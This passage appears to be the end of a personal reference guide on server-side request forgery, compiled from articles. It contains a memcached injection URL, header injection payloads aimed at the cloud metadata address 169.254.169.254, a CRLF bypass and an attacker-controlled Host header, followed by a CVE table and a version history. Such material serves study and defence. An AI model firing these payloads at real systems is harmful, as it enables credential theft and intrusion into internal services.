http://127.0.0.1:11211/%0D%0Aset%20pwned%200%2060%205%0D%0Avalue%0D%0A

Header injection payloads

# Linkerd routing override
l5d-dtab: /svc/* => /$/inet/169.254.169.254/80

# Azure metadata CRLF bypass
Metadata: %0d%0aTrue

# Host header for NextJS/Astro SSRF
Host: attacker.tld

CVE Quick Reference

CVETargetTypeImpact
CVE-2024-27564ChatGPT pictureproxy.phpFull-response SSRFInternal network access, mass exploitation
CVE-2024-34351NextJS Server ActionsBlind → Full-read SSRFInternal file/service read via Host injection
CVE-2026-25545Astro SSRFull-read SSRFInternal file/service read via Host injection
CVE-2025-51591PandocFull-read SSRFIMDS credential theft via iframe rendering
CVE-2025-27817Apache Kafka ConnectSSRFArbitrary file read, internal network access
CVE-2026-22219Chainlit AISSRF + File ReadIMDS credential theft, local file read
CVE-2023-28155Node.js request libSSRF via redirectAgent bypass on protocol switch
CVE-2020-8561Kubernetes API ServerError-based SSRFInternal port scanning via webhook errors
CVE-2024-34112Adobe ColdFusionSSRF → LFIMeta-refresh bypass for file:// block
CVE-2025-27152Axios (Node.js)SSRF redirect leakBearer token forwarded to attacker across redirect
CVE-2025-12073GitLab CE/EEAuthenticated SSRFIPv6 [:::::ffff:127.0.0.1] parser bypass
CVE-2025-6454GitLabWebhook CRLFCustom header CRLF injection
CVE-2025-53767Azure OpenAISSRF privilege escalationManaged identity token extraction
CVE-2026-26138Microsoft PurviewSSRF privilege elevationControl plane metadata access
CVE-2026-22739Spring Cloud ConfigSSRF + traversalProfile param substitution
CVE-2026-27127Craft CMSDNS rebinding bypassTOCTOU in GraphQL Asset mutation
CVE-2026-27129Craft CMSIPv6 resolution bypassgethostbyname IPv4-only + AAAA record
CVE-2026-35409DirectusIPv4-mapped IPv6 bypass::ffff:127.0.0.1 not in blocklist
CVE-2026-27825/26mcp-atlassianHeader SSRF → RCEX-Atlassian-*-Url + path traversal write
CVE-2026-32871fastmcpOpenAPI path injectionurljoin traversal via unencoded param
CVE-2026-33752curl_cffiUnrestricted redirectNo internal IP block + TLS impersonation
CVE-2026-32096PlunkSNS webhook SSRFSubscribeURL field trusted without validation
CVE-2026-33990Docker Model RunnerOCI registry SSRFRegistry URL validation bypass
CVE-2026-30832Soft ServeSSRFGit server URL handling
CVE-2026-34746Payload CMSAuthenticated SSRFUpload functionality URL fetch

Version History

  • v1.0 (2026-04-09) — Initial guide compiled from 299 articles
  • v1.1 (2026-04-10) — Added MCP/AI agent SSRF section, IPv6 & DNS rebinding patterns section, 17 new CVEs, parameter enumeration campaign IOCs, PDF SSRF→LFI chain (CVE-2024-34112), Axios redirect header leak, Spring Cloud Config profile substitution, curl_cffi unrestricted redirects. Total source articles: 369.

For the original articles, see ~/Documents/obsidian/chs/raw/ssrf/.